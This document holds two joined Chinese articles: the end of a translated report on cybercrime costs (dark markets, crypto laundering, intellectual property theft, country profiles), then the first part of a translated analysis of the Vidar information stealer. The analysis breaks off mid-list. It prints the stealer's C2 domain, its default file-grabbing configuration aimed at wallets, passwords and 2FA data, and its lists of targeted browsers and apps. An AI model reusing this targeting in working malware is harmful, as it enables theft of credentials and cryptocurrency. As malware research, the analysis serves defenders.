根据FBI调查统计，暗网市场AlphaBay在2017年7月垮台前，已经为超过20万用户提供服务，并拥有4万家供应商。尽管这些社区的参与人数众多，一些执法官员认为，仅有极少部分人需要为大部分最重要的网络犯罪产品负责。2015年，英国国家网络犯罪小组副主任表示，执法部门相信CaaS经济体背后的工作团队仅有100至200人，且这部分参与者的待遇丰厚。一个研究小组发现，一些犯罪分子仅依靠出售勒索软件工具包，一年的收益就可超过10万美金，这几乎是东欧软件开发商年薪的两倍多。
不同于传统的金融欺诈或身份窃取等网络犯罪，如今的网络犯罪分子获利的方式很多。第一种是研究即服务（Reasearch-as-a-Service），个体即可为犯罪活动提供“原材料”。这可能包括向恶意软件开发者出售系统漏洞，或者向垃圾邮箱发送者拍卖电子邮件地址列表。最近，软件漏洞的出售引起了极大的关注，Shadow
Brokers发布了具有争议的订阅方案，使得用户能够访问未经修补的系统漏洞。
自2014年以来，发现的0day漏洞（未被产品供应商检测到）的数量稳步下降，这可能是由于“漏洞奖励”计划促使了漏洞被合法披露，这导致了0day漏洞的价格上涨，其中一部分最有价值的漏洞在暗网市场中的售价超过10万美金。其他一部分网络犯罪分子则专攻通过销售电子邮件数据库来促进网络犯罪活动，例如最近就有犯罪分子以30万美元的价格向几名垃圾邮件发送者出售30亿雅虎账户。
恶意软件研发的一个主要领域是Web注入，将代码片段注入到网页中后，黑客可以获取目标网站的控制权，修改网页以欺骗受害者以泄漏敏感信息。由于Web注入要求较高的专业水准，因此它是恶意软件开发中最有可能被主要网络犯罪团伙外包的阶段之一。
漏洞利用套装是暗网市场上流行的另一类产品，它为网络犯罪新手提供了攻陷各种系统的工具。然而，欧洲刑警组织的工作表明，在过去一年中，漏洞利用套装的普及率已经下降。这是因为顶级产品不再提供支持，而替代品难以维持相同的复杂性或流行度。欧洲刑警组织还指出，由于网络犯罪分子逐渐转向勒索软件和DDoS这类更易于货币化的工具，未来恶意软件将不再成为威胁。
黑客从日益复杂的网络犯罪经济体中获利的第三种方式是为网络犯罪提供基础设施即服务（Infrastructure-as-a-Service）。该领域的犯罪分子负责为其他犯罪分子实施攻击提供所需的服务和基础设施。这里的基础设施服务包括防弹主机（bulletproof
hosting）和僵尸网络租赁。防弹主机可帮助网络犯罪分子避开执法部门的威胁，在互联网上建立网页和服务器。而僵尸网络租赁允许网络犯罪分子支付临时访问受感染的计算机网络的费用，并利用这些感染计算机完成从垃圾邮件分发到DoS攻击的任何网络犯罪。
使用僵尸网络进行DoS攻击已被大多数网络犯罪分子采纳，是特别经济有效的方式，这些犯罪分子威胁网站所有者关闭网站服务来勒索钱财。研究人员估算表明，一个僵尸网络每天的租金仅需60美元，但它可能给受害组织造成高达72万美金的损失，而控制僵尸网络的黑客在出租服务时的利润率竟超过了70%。由于网络犯罪分子持续利用物联网设备漏洞创建规模更大的网络，僵尸网络的使用在未来几年内仍将持续上涨。物联网僵尸网络带来的危险在2016年得到了清晰的展现，当时大批感染Mirai恶意软件的物联网僵尸网络攻击了域名提供商Dyn，向Twitter、Netflix、Reddit和CNN等网站发起了迄今为止最大规模的攻击。
## 七、Tor及比特币
CSIS认为网络犯罪之所以能够大肆横行，原因在于类似比特币（Bitcoin）以及Tor之类简易工具的兴起，网络犯罪分子可以在隐藏身份的前提下，通过数字媒介进行支付，这极大增加了执法工作的复杂性。比特币长期以来一直是暗网市场最受青睐的货币，网络犯罪分子利用其虚假特性以及去中心化组织特性进行非法交易，要求受害者支付款项，达到洗钱目标。虽然大家可以看到比特币的所有交易记录，但比特币的使用和交易过程中没有透露个人身份识别信息，网络犯罪分子因此得益，基本能够逍遥法外。
只有在比特币账户与真实身份关联起来时，才能够识别比特币用户，大多数犯罪分子会小心谨慎，避免出现这种情况。然而，将账户与身份识别信息关联起来是将比特币转化为真实货币的必要环节，这是犯罪分子无法避免的脆弱性。为了解决这一问题，近年来已经有一些服务开始出现，能够允许网络犯罪分子清理比特币，通过不受监管的交易所撤回交易，以避免被识别出真实身份。比特币洗钱可以通过“翻滚（tumbling）”或“混合（mixing）”过程来实现，在这个过程中，多个用户将干净以及来路不明的比特币汇集在一起，通过一系列随机化货币的复杂交易过程，最终为各个成员返回正确的币值。网络犯罪分子还可以利用不受监管的加密货币交易所来隐瞒客户信息，就像最近被关闭的BTC-e交易所一样，这种交易占了所有勒索软件现金流的95%。
尽管存在这些服务，还是有些犯罪分子因为使用比特币而被成功识别出来，比如通过IP地址映射或者意外泄露的网络跟踪数据等，因此人们已经开始研发真正匿名的加密货币，并取得了一些成果，让网络犯罪分子更为安全。这类货币中最流行的三种货币为达世币（Dash）、门罗币（Monero）以及Zcash。Dash使用了一种名为“coinjoin”的技术使货币操作过程中具备混淆特性，能为发送者和接收者提供保护。Monero更为安全，使用了“隐形地址（stealth
addresses）”技术，可以隐藏每笔交易的数量，将每次交易混入上百次交易中，实现对发送者的匿名保护。Zcash是三者中最先进的一种，使用了零知识证明（zero-knowledge
proofs）这种流程，使两个用户能够在不透露身份的前提下交换信息，完全屏蔽了关于交易的所有细节。Monero是三者中使用最广的一种，AlphaBay市场在2016年末的交易行为中，有2%的交易用到了该货币。根据欧洲刑警组织的资料，今年已经有一款基于Monero的勒索软件工具集问世，犯罪分子可能很快就会更加深入地使用这些匿名加密货币，而不仅仅是在暗网市场上进行交易。
网络犯罪分子现在正在寻找更为安全的渠道，使用诸如OpenBazaar之类的新兴市场。OpenBazaar是一个去中心化的点对点网络，无需在中央服务器上托管数据，用户就能完成购买过程。这样一来该市场就很难被破坏，执法机构已经找到像BitTorrent之类的对等（peer-to-peer）网络。虽然迄今为止OpenBazaar上的非法活动仍然较少，但如果Tor完全实现并且Monero集成到该平台后，这种情况可能会发生改变。在2017年的互联网犯罪评估方面，欧洲刑警组织强调OpenBazaar是未来一个潜在的安全威胁。
## 八、知识产权窃取
知识产权以及商业机密信息被窃取是受网络犯罪影响最为严重的领域。互联网的开放性也为网络犯罪打开了广阔的空间，并且知识产权窃取范围已经远远超过了政府所感兴趣的那些传统领域（如军事技术领域）。想要衡量知识产权窃取所造成的损失，一种方法是寻找该产权的竞争品，考察该产品从产权所有者身上夺取的市场份额。如果黑客从小型或者中型企业那窃取了知识产权（例如产品设计），这可能是非常致命的一件事情。对于大型企业而言，随着竞争产品进入市场，产品收入可能会出现意料之外的下降。知识产权窃取所造成的损失至少占了网络犯罪所造成的损失的四分之一，而且当涉及到军事技术时，可能会给国家造成安全风险。受害者通常无法看到这些损失，他们还是拥有被犯罪分子复制的知识产权，可能会将收入下降归咎于日益激烈的竞争，而不会想到产权失窃这方面因素。
中国是知识产权窃取问题的焦点。人们普遍认为，中国黑客通常与解放军（PLA）有千丝万缕的联系，一直在窃取知识产权。根据美国政府的统计数字，在2015年之前，针对美国的网络间谍活动中有一半与中国有关系，攻击涉及知识产权以及有商业价值信息的窃取，可能每年造成了200亿美元的损失（其他损失来自于金融犯罪、灾后恢复以及企业防御方面，这部分在2014年可能达到了1000亿美元）。虽然来自中国的攻击动机非常复杂，但从众所周知的案件表明，中国的间谍活动中有四分之三出自于商业目的，这表明自2015年习奥会以来，签下的商业网络间谍活动协议可能已经“拯救”了美国，每年可以减少高达150亿美元的损失。
自2015年习奥会以来，两位领导人都认为，“两国政府都不应该开展或故意支持网络窃取知识产权的攻击行为，包括商业秘密或者其他机密的商业信息，不应该通过窃取知识产权为企业或商业部门提供竞争力优势”。虽然两国对协议遵守方面仍未取得十分一致的结果，但直到最近为止，中国似乎终于履行了协议中的所有承诺。该协议由美方起草，目的并不是结束网络间谍活动，而是要减少国家层面支持的商业间谍活动，停止通过间谍活动来帮助自己的企业，同时还要确保正常的间谍活动没有被排除在外，美方坚持使用这种措辞。中美两国默认一点，如果出于国家安全需要，两国之间可以继续发动间谍行为。
出于国内以及国际原因，中国直到最近才履行了2015年所达成的协议。习主席希望PLA能减少腐败，把重点放在军事现代化上。该协议迫使PLA无法通过网络犯罪增加收入，推进了习主席集中管控情报收集的目标。2015年达成的协议可能对中国网络情报方面更为有效，迄今为止中国针对美国的商业间谍活动似乎已经大幅减少。
图1. 习奥会中涉及网络间谍活动方面的时间线
这种“非商业间谍”协议得到了G20成员国的支持，G20组织也是世界的主要经济体。然而，网络犯罪对全球造成的具体损失情况比较复杂。某位德国官员指出，虽然德国与中国讨论过禁止商业间谍活动相关事宜，但从未有过正式协议，中国对德国企业发起的商业间谍攻击依然有增无减。采访某些国家官员后，我们发现虽然达成了一些协议，但知识产权窃取行为依然没有减少。
如何衡量知识产权的价值是一门艺术。在研发上的投入并不能真实反映知识产权的具体价值。如果在市场上销售知识产权或者提供许可服务，企业就可以估算知识产权的价值。企业也能估算知识产权未来能够获得多少收入。成功从企业网络中窃取信息并不一定意味着攻击者可以马上变现。许多高科技产品需要大量的“诀窍”以及经验才能成功生产，单独窃取知识产权并不能提供这些附加信息。窃取者可能无法以商业方式使用知识产权，从窃取数据后到生产竞争产品之间可能还有很长的路要走。
想衡量因知识产权被窃而受到的具体损失并不容易，并且将窃取的知识产权变现也是很难的一件事情。我们在2014年的报告中，已经详细讨论了估算因知识产权被窃所造成的损失的那些问题。在2018年的这份报告中，我们探讨了知识产权的基础价值，也考察了知识产权每年创造的价值。我们估计，美国所有知识产权的价值为12万亿，每年增长的价值约为7,000亿至8,000亿美元。根据我们之前的分析，再参考其他类型网络犯罪所带来的损失以及习奥会协议的影响，针对知识产权的网络犯罪每年给美国带来的损失为100亿至120亿美元，全球的损失约为500亿至600亿美元。
在网络犯罪造成的损失方面，窃取商业机密信息以获得商业谈判或投资地位上的优势占了很重要的一环，但这些损失可能无法代表所有损失。无法直接反映出来的损失包括黑客操控股价等损失，但这类网络犯罪依然难以被发现。这种操作类似于内幕交易，据澳大利亚研究中心估计，在各种市场操控方面，每年造成的损失约为100亿美元。
## 九、身份窃取
在各种调查报告中，身份窃取一直都是互联网用户最关注的问题之一，这一点非常正常，因为经常有关于这类攻击的相关新闻报道。但根据司法统计局（BJS）2012年和2014年的报告，身份窃取实际上造成的损失仍然非常小。根据BJS的报告，2012年约有1660万人被各种形式的攻击窃取了身份信息，导致了约为250亿美元的损失。每次攻击事件造成的损失约为1500美元，对大多数人而言这个数字虽然比较心疼，但还是不至于崩溃。只有14%的受害者遇到了预算之外的损失，其中约一半受害者损失了99美元（甚至更少的金钱）。
那么为什么大家这么担心身份窃取问题呢？司法部（DOJ）发现这种犯罪是美国最为昂贵的一种财产犯罪，比其他财产犯罪所造成的损失还要高出100多亿美元。其次，三分之二的受害者不知道自己如何以及什么时候被黑客入侵。身份窃取给人们带来深深的无奈感，这种无形的犯罪影响了数百万人，因此会引起公众担忧。并非所有的身份窃取攻击都与网络有关，但承担大部分损失的真正受害者是银行以及信用卡公司。
自CSIS上一次发布的报告以来，已经有近30亿互联网证书以及其他个人身份信息（PII）被黑客窃取，其中可能有重复数据。但过去五年的这种增长速度依然非常惊人。被盗取的PII信息的具体价格因供需情况不同而有所不同，在2012
年时，健康记录信息为50美元，“未经证实”的信用卡号码为几美分。现在因为大量PII信息被盗取，黑市上也充斥着太多信息，因此这类价格正在下降。
2017年9月份，征信机构Equifax泄露了1.43亿美国消费者的个人数据。但目前最严重的数据泄露来源仍然是雅虎，泄露了高达10亿量级的个人记录。在泄露事件发生后的头四个月中，Equifax所属公司总共花费了近9000万美元。处理网络安全相关事件时，Equifax所花费的一次性费用为8,750万美元，因此第三季度的净收入下降了27%。
## 十、商业电子邮件欺诈
身份窃取可以帮助犯罪分子冒充告公司首席执行官或者首席财务官发送电子邮件，命令公司进行大额转账。比如，在CFO手下工作的员工在周末收到了CEO的电子邮件，称他无法联系到首席财务官，需要员工立即将1000万美元转移到供应商的新银行账户中。员工服从了这条命令，然而这个“供应商”账户是个欺诈账户，攻击者迅速转移了该账户中的资金以避免被跟踪到。这种攻击手法非常流行，联邦调查局（FBI）已经通过公众教育提升高管的警觉意识。自2015年以来，这种攻击已经造成50亿美元被窃取。FBI报告称，全球共有22,000家企业成为企业电子邮件攻击的受害者。
银行很难检测或者阻止电子邮件欺诈攻击，因为这种转账由合法的、经过授权的客户雇员提交。某些银行尝试给客户做安全风险培训，但受到的损失依然有增无减。公司也不愿意报告安全事故，而倾向于默默承担损失。
## 十一、隐藏损失
网络犯罪中，欺诈以及知识产权窃取所造成的损失占了大头，但灾后恢复（遭受攻击后进行清理）以及机会成本也占了很关键的地位，比如企业需要使用额外的资金进行维护，如果没有遭受那么多次网络犯罪攻击，那么可以将这些资金更为高效地用在生产流程的其他方面。业务被中断是无法被忽视的一项成本，DoS攻击经常导致业务中断，现在勒索软件也开始参与进来。在这些情况下，公司所承担的损失来自于不能持续获得收入，而非直接损失金钱。
在2014年，由于人们并没有遵循有效的网上行为，无法避免被网络犯罪侵袭，因此我们预测国家经济在机会成本方面的投入会有所增加。根据人口普查局2014年对41,000个美国家庭的调查结果，45%的受访者表示，因为自己担心网络犯罪，因此不会在网上进行金融交易、购买货物或服务、在社交网络上发表信息等。即便实际上风险很低，可能不会有损失，但这种达摩克利斯之剑正在重塑人们使用互联网的方式。
有人说，世界各地的人们都非常喜欢信息技术，因此他们也很容易就能接受安全风险。事实可能的确如此，尽管出现了大量新闻报道，个人以及公司依然认为因网络犯罪而受到的损失和风险处于较低水平，可以接受。根据我们早期的调研结果，许多高管会将网络犯罪视为“商业上无法规避的成本”，他们更关心的是声誉是否受到损坏，而非实际的损失。随着企业和会计事务所将网络风险考虑在内，这一情况正在发生变化。如果人们不愿意信任未来，那么扩张的互联网可能会面临不断增加的机会成本，这类互联网设备包括医疗设备、智能家具或者自动驾驶车辆。
想了解网络犯罪造成了何种程度的影响，一种方法是将其与网络经济（也是全球经济中增幅最快的领域）相比较，而不是在全球总产值中反映。最近的估算结果表明，2016年互联网经济的产值为4.2万亿美元，根据这个数字，网络犯罪的存在相当于多加了14%的增值税。如果国际社会共同努力减少这种情况，那么所有国家的发展和繁荣会得到真正的利益。
## 十二、部分国家的情况
我们考察了全球各区域中的一些国家，分析网络犯罪在不同区域以及不同国家的差异。我们发现了一个令人不安的事实，那就是无论一个国家是否在打击网络犯罪方面付诸重大努力，网络犯罪分子仍会凯旋而归。
### 澳大利亚
在2014年底，澳大利亚政府建立了网络犯罪的在线报告系统，试图加强执法力度，以对抗网络犯罪。自成立以来，该服务总共记录了超过114,000次网络犯罪事件，仅2017年上半年就记录了将近24,000次。澳大利亚电信运营商Telstra发现，2016年有将近60%的企业至少每个月都会检测到安全事件，其中包括受勒索软件事件影响的企业。对澳大利亚而言，比较特别的一点在于针对企业的电子邮件攻击非常猖獗，2016年至2017年期间该国受到的损失超过了1500万美元。比如，当网络犯罪分子向市议员发送了一系列虚假票据时，当地理事会在一个月内被诈骗了340,000美元。澳大利亚政府一直在积极努力应对这一威胁，宣布2016年将拨出1.7亿美元用来支持全新的国家网络安全战略，提出将通过立法把反洗钱条文扩展到国内的加密货币交易所。
### 巴西
巴西是世界上拥有最为独特的网络犯罪生态系统的国家之一。巴西国内有一个发展成熟的“black-hat（黑帽）”黑客社区，因此网上遍布公开销售的垃圾邮件以及恶意软件教程。据巴西国内报道，有54%的网络攻击事件源自该国境内。网络犯罪是巴西国内最常见的金融犯罪。银行以及金融机构是最常见的受害者，银行所遭受的损失中，网络犯罪占了95%。消费者经常被仿冒网站、卡片克隆以及国内制造的恶意软件攻击。在巴西国内，超过半数的银行交易通过与互联网连接的设备来发起，但因为缺乏强有力的反网络犯罪法律，因此巴西既是网络攻击的头号目标，也是拉丁美洲在线攻击的主要源头。在全球范围内，巴西是第二大攻击来源，也是第三大受影响的目标。
### 加拿大
与2014年对比，由加拿大皇家骑警（Royal Canadian Mounted
Police）处理的网络犯罪投诉在去年增加了45%，这表明加拿大公民面临的网络犯罪形势异常严峻。根据加拿大商会提供的数据，有近一半的中小企业是网络攻击的受害者，每年对加拿大的经济造成了数十亿美元的负担。在最近的一次会议上，加拿大联邦刑事犯罪警察总监承认，执法部门正在努力适应异常火爆的网络犯罪形势，他提到：“现在的情况是我们没有掌握资源。我们疲于奔命，想提前应对是非常困难的一件事情”。加拿大银行最近警告说，加拿大金融系统非常容易被网络攻击带来的连锁效应所影响，敦促实施新的网络安全举措来防止公众对金融系统丧失信心。比如，2017年11月，加拿大支付服务提供商TIO
Networks（PayPal所属公司）泄露了160万客户的个人及财务信息，这是最近一次的攻击事件。
### 德国
根据德国IT行业协议Bitkom的说法，超过半数的德国公司一直以来都是网络犯罪的受害者，网络犯罪每年造成的损失超过了640亿美元。在2015年到2016年期间，向德国执法部门反馈的网络犯罪案件总数几乎翻了一番，达到了82,000次，因此造成的损失也急剧增加。德国联邦网络犯罪部门的负责人警告说，这些次数并没有如实反映猖獗的网络犯罪态势，因此造成的真正损失可能远远高于大家认为的数值。德国联邦警察部门的官员则呼吁出台新的法律条款，使执法人员能够正确面对这个问题。根据对德国地下互联网经济的研究结果，我们发现德国的地下犯罪市场可能是欧盟中最为发达的一个区域，该市场可以提供一系列商品及服务，其中包括大量区域受限型产品。德国也是僵尸网络的主要来源，最近警方逮捕了一名英国黑客，指控该黑客试图通过Mirai蠕虫感染德国电信的计算机，使将近100万名德国电信客户无法正常访问网络。
### 日本
日本政府并没有跟踪网络犯罪对日本造成的损失，但根据媒体报道，这类攻击频率正在不断上升。国家警察局提供的最新统计数据显示，网络犯罪案件在2017年上半年上升到了历史最高水平，收到的事件报告达到近7万份，比前一年增加了近5%。日本具备天然的语言屏障以及当地缺乏洗钱必须的基础设施，因此之前能够抵挡住全球网络犯罪浪潮的冲击，但最近该国的攻击事件有所增加，其中包括针对主流银行的数起有组织的攻击活动。
日本受到最大规模的一次冲击是针对日本养老金服务机构的攻击，当时攻击者偷走了125万条记录，包括身份证号码、姓名以及出生日期等信息。勒索软件攻击给日本企业带来了许多问题，神户大学一位教授猜测，网络犯罪分子知道日本人有支付赎金的意愿，因此也充分用到了这个特点。虽然当地严格的刑法阻止日本的网络犯罪分子广泛参与恶意软件的研发活动，但根据2015年对日本地下网络犯罪的调查显示，日本存在一个非常庞大的非法及假冒黑品市场，其中也包含儿童色情等严禁商品。
### 墨西哥
在拉丁美洲，墨西哥遭受的网络攻击次数排在巴西之后。2016年，网络犯罪给墨西哥造成了约30亿美元的经济损失。根据墨西哥联邦警察局的报告，他们在2012年处理了超过120,000起网络安全案件。由于缺乏法律手段，现有法律执行力度不足，墨西哥的执法环境非常复杂，这两个因素使墨西哥成为个人数据窃取的避难所。网络安全方面的投入不足也是原因之一，墨西哥也因此成为国家级别网络犯罪的目标，比如朝鲜的黑客组织Lazarus曾在2016年试图窃取墨西哥银行的资金。
### 英国
在英国，在线欺诈以及网络犯罪是最为常见的犯罪行为，据估计，该国每年至少发生550万起网络犯罪案件，将近占了全国犯罪总数的半数。根据政府的公开数据，2016年英国有近半数企业曾遭受到网络攻击、或者相关数据曾被破坏过，受到的平均损失为26,700美元，最高可达数百万美元。英国政府一直在积极应对这一威胁，并于2016年11月宣布了一项国家网络安全战略，投资超过25亿美元，目标是加强执法力度，培养新一代网络安全专家。今年5月份，英国遭受到了WannaCry勒索软件攻击，英国国民卫生服务体系（NHS）中有超过三分之一受到攻击影响，由于技术上的原因，医生无法正常为病人提供服务，导致将近7,000次的预约治疗以及手术被取消。
### 阿拉伯联合酋长国
根据阿联酋（UAE）网络安全中心的说法，阿联酋在全球范围内被网络攻击的国家榜上排名第二。阿联酋的互联网普及率较高、技术先进、知名度高，这也是阿联酋因网络犯罪而承受较大损失的原因所在，每年估计有14亿美元的经济损失。阿联酋电信运营商DU的一项调查显示，至少有40%的阿联酋居民是网络犯罪的受害者，研究表明，这些受害者中有超过3/4的人无法拿回在网络上损失的金钱。同为海湾国家，在勒索软件以及僵尸网络受害者方面，阿联酋紧随沙特阿拉伯之后。该国最近成立了一个新的联邦公诉机构来处理网络犯罪，这表明政府越来越负责任，愿意为公民承担损失。
## 十三、如何应对
本报告的重点是估算网络犯罪所造成的损失，而不是给出如何处理网络犯罪的具体建议，但从本报告的分析过程中，显然我们可以得出几种应对方法：
1、统一采用最基本的安全举措（如定期更新并安装补丁，开放安全架构），在防御技术方面加大投入（从设备到云端都要投入）。想要防御大多数网络犯罪并不需要采用复杂的防御措施。企业以及消费者应该主要承担这个责任。
2、联合执法同样需要，这里不仅涉及国家层面，也涉及私人部门层面。但这样一来需要扩充资源才能继续调查，发展中国家也需要相应地构建网络安全防护能力。
3、改进现有机制，比如“司法互助条约”（MLAT）。MLAT允许某个政府在调查网络犯罪或者寻求证据时请求另一个政府的帮助。MLAT先于互联网时代创造，并不充分，需要改进或者替换才能适应现代化环境。
4、我们在本报告以及之前的报告中反复提及，国家层面需要进一步收集、统计相关数据，这一点非常重要。
5、加强网络安全需求方面的标准化（威胁数据）以及协同化，这样可以提升安全性，对类似金融这样的关键部门尤为如此。
6、网络犯罪法律不完善的国家所面临的网络犯罪比率较高，也会给邻国带来问题。“布达佩斯网络犯罪公约（The Budapest
Convention）”是关于网络犯罪的一款正式条约，规定了国家在执法与合作方面的责任，但俄罗斯与其他国家反对这一公约，导致该条约推进缓慢。俄罗斯声称该条约富有侵略性，当然可能俄罗斯对削弱自己的犯罪集团并没有太大兴趣。中国、巴西以及印度也拒绝签署该条约，理由是这些国家并没有参与谈判。等待重新协商的过程会减慢防御网络犯罪举措的推进。
7、最后，国际社会必须向作为网络犯罪庇护所的那些国家以压力，迫使其改变行为，与其他国家的执法机构合作。这意味着如果某个政府没有采取行动打击网络犯罪，那么国际社会需要对其施加某种惩罚。就俄罗斯和朝鲜而言，我们前面已经出台了各种制裁举措，现在必须制定新的惩罚措施，惩罚措施虽然痛苦，但只是暂时的，可以逐渐恢复。
如果不采取这些举措，随着可连接设备数量的不断增长、在线活动内在价值的继续增加，网络犯罪也会不断扩张。对网络犯罪而言，更好地收集数据对于确定问题范围、理清附加资源来说至关重要。数据收集对于一些国家来说可能是非常棘手的政治问题，因为受害者往往不愿意上报网络犯罪活动。想要量化无形产品和服务的价值也非常困难，目前可能无法检测一些金融网络犯罪行为（如操控股市）。即使大家对网络安全方面非常关注，由于其跨国性质以及技术复杂性（这种性质会影响相关证据的收集），任何国家都难以有效管理这方面问题。
这就使得网络犯罪变成了大型问题的一个组成单元，现在许多国家都在经历数字革命，这种革命会改变商业、政治、安全以及执法等各个方面。我们对数字革命的管理能力已经有点跟不上时代节奏了。统计是政府最基本的职能之一，通过统计，各国政府可以更加系统地获取信息，更好地为公民提供服务。更加准确地统计网络犯罪所造成的损失可以帮助全世界管理并减少网络犯罪，随着我们对数字技术愈加依赖、网络犯罪不断增长，这项任务的重要性也会不断凸显。 | 社区文章 |
# Vidar窃密木马分析（上）
|
##### 译文声明
本文是翻译文章，文章原作者 fumik0，文章来源：fumik0.com
原文地址：<https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
有时，当你对海量的恶意软件检测结果进行分析时，你可能并不希望一些看似无关痛痒的小细节会对最终的判定造成影响。
前不久，我因为将遇到的恶意软件误认为 Arkei（一款功能强大的窃密木马）而付出了代价。根据当时我设置的Yara规则，显示匹配到的是
Arkei，但是经过逆向分析之后，我发现遇到的这个恶意软件并非Arkei。一些与Arkei特征相关的字符串都被删除了，取而代之的是“Vidar”。经过深度分析后，我发现
它是由Arkei优化改进得到的，除了一些细节之外，其他部分和Arkei区别不大。
这款恶意软件使用C++编写，似乎在2018年10月初就已经开始活动，它具有窃取木马的所有典型功能：
* 搜索特定文档
* 从浏览器窃取cookie
* 窃取浏览器历史记录（包括tor浏览器）
* 窃取数字货币钱包
* 从带有2FA（双因素认证）的软件窃取数据
* 从消息应用中窃取数据
* 屏幕截图
* 安装Loader
* Telegram通知（服务器端）
* 获取受害者计算机信息快照
在黑市/论坛中，这款窃密木马以250-700美元的价格进行出售。购买后，可以通过访问C2域名来生成专属的payload，所以没有统一管理端。除此之外，C2域名每4天就会进行更新。
在本文中，我将对4.1版本的Vidar进行深入分析，并介绍其管理面板，说明它和Arkei的差异。
## 定向投递
首先，如果受害者机器使用[GetUserDefaultLocaleName](https://docs.microsoft.com/en-us/windows/desktop/api/winnls/nf-winnls-getuserdefaultlocalename)来配置语言，我们可以使用很经典的方式（改变系统语言）来中止恶意软件。这也是检查恶意软件是否不会对一些特定的国家/地区进行感染最简单的办法之一。
正如MSDN所声明的，“local”中以集合的方式展示用户的语言偏好。窃密软件将检查被入侵主机的是否设置为以下语言：
谷歌一下，我们就能知道这是哪些哪些国家/地区的简称：
LCID Structure – <https://msdn.microsoft.com/en-us/library/cc233968.aspx>
Language Code Table – <http://www.lingoes.net/en/translator/langcode.htm>
LocaleName – <https://docs.microsoft.com/fr-fr/windows/desktop/Intl/locale-names>
Locale – <https://docs.microsoft.com/fr-fr/windows/desktop/Intl/locales-and-languages>
## 互斥体
对于每个受害者，Vidar将生成唯一的特征字符串。它的形成很简单，就是由2个字符串拼接后得到的。
**硬件配置ID**
[GetCurrentHwProfileA](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-getcurrenthwprofilea)用于检索具有[szHwProfileGuid](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/ns-winbase-taghw_profile_infoa)值的计算机的当前硬件配置信息。如果执行失败，它将返回“Unknown”。
**计算机GUID**
通过[RegOpenKeyExA](https://docs.microsoft.com/en-us/windows/desktop/api/winreg/nf-winreg-regopenkeyexa)，可以在注册表中获取该值：
`HKEY_LOCAL_MACHINESOFTWAREMicrosoftCryptographyMachineGuid`
Windows在安装操作系统时会生成[UUID](https://msdn.microsoft.com/en-us/library/windows/desktop)。
以上操作完成后，将生成互斥体，如下图所示：
## 字符串设置
当Vidar执行main函数时，会先驻存一些必要的字符串，以便后续步骤的正常进行。
当所有字符串的RVA（相对虚拟地址）都存储在.data中后，恶意软件将访问被请求的字符串。
这种做法会给静态分析带来一些难度，但影响不大。
## C2域名&Profile ID
当builder在受害主机生成恶意软件时，随之会硬编码一个唯一ID。在恶意域名上输入该ID，将检索出攻击者想要从受害者计算机上窃取到的指定配置信息。
如下图，展示的是Profile ID为“178”的感染计算机，如果恶意软件没有进行配置，那么其Profile ID默认为“1”。
C2域名只是简单的进行了异或操作。只需要使用异或函数就可以解密出原始数据。
解密可以得到C2域名为“newagenias.com”。
可以使用我GItHub仓库中的脚本[izanami.py](https://github.com/Fmk0/scripts/blob/master/izanami.py)来完成配置信息的提取。
## 配置字段说明
以下是恶意软件可以从C2获取的默认配置信息：
1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
我使用”；”来区分各个部分，下面是各部分的解释说明：
**第一部分**
**第二部分**
**第三部分**
`*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*`
**第四部分**
**第五部分**
_movies:music:mp3;_
这是一个特殊的部分，在Grabber递归的检索指定文件夹时，以上文件将会直接过滤。
如果直接看代码，这些设置显得很混乱，因为每个变量都存储在byte或dword变量中。
## 文件夹生成
总结一下Vidar可能生成的的文件/文件夹，如下：
\files <- 主文件夹
\files\Autofill <- 自动填充文件
\files\CC <- 信用卡
\files\Cookies <- Cookies
\files\Downloads <- 浏览区下载记录
\files\Files <- 通用配置
\files\History <- 浏览器历史记录
\files\Soft <- 目标软件的主文件夹
\files\Soft\Authy <- 2FA软件
\files\Telegram <- Telegram消息
\files\Wallets <- 加密货币钱包
通用文件：
\filesscreenshot.jpg <- 实时屏幕截图
\filespasswords.txt <- 整合后的密码
\files\information.txt <- 计算机设置 快照
## 窃密所需的库文件
每当我阅读恶意软件说明时，我总希望不需要安装库文件或其他插件，双击该恶意软件就可以直接运行。然而对代码进行深入研究或分析通信数据流，会发现它还是需要下载一些DLL文件以便完成特定的功能。
基于这种情况，针对不同的浏览器，在窃取信息时需要下载以下文件。
执行完成后，这些文件就会被删除。
## FTP
Vidar支持对以下FTP软件信息的窃取。
* FileZilla
* WinSCP
## 双因素认证（2FA）软件
我发现Vidar对2FA软件是有针对性的窃密，这种功能并不常见。但可以肯定的是这种情况会越来越普遍。随着各种防护措施的出现，用户需要明白带有2FA并不代表账户就一定安全，这也可能为漏洞的出现开启了另一扇门。
因此，Vidar将认证软件作为了目标……
因为大部分SQLite 文件存放在%APPDATA% 目录下，所以看起来窃密软件想要从那里窃取Discord及Chrome等软件的数据信息。
所以小伙伴们，不要对你的2FA软件掉以轻心。
## 浏览器
需要注意的事，Vidar对Tor浏览器也有效。
以下浏览器中的信息将会被窃取：
* 360 Browser
* Amigo
* BlackHawk
* Cent Browser
* Chedot Browser
* Chromium
* CocCoc
* Comodo Dragon
* Cyberfox
* Elements Browser
* Epic Privacy
* Google Chrome
* IceCat
* Internet Explorer
* K-Meleon
* Kometa
* Maxthon5
* Microsoft Edge
* Mozilla Firefox
* Mustang Browser
* Nichrome
* Opera
* Orbitum
* Pale Moon
* QIP Surf
* QQ Browser
* Sputnik
* Suhba Browser
* Tor Browser
* Torch
* URAN
* Vivaldi
* Waterfox
如果浏览器是基于chromium引擎，那么需要重视起来。
## Messengers/Mailer
在本文中，我不会介绍这些技术如何实现，因为在我以前的[博文](https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/)中曾对相关技术进行过说明（特别是Telegram部分）。
* Bat!
* Pidgin
* Telegram
* Thunderbird
## 钱包
* Anoncoin
* BBQCoin
* Bitcoin
* DashCore
* DevCoin
* DigitalCoin
* Electron Cash
* ElectrumLTC
* Ethereum
* Exodus
* FlorinCoin
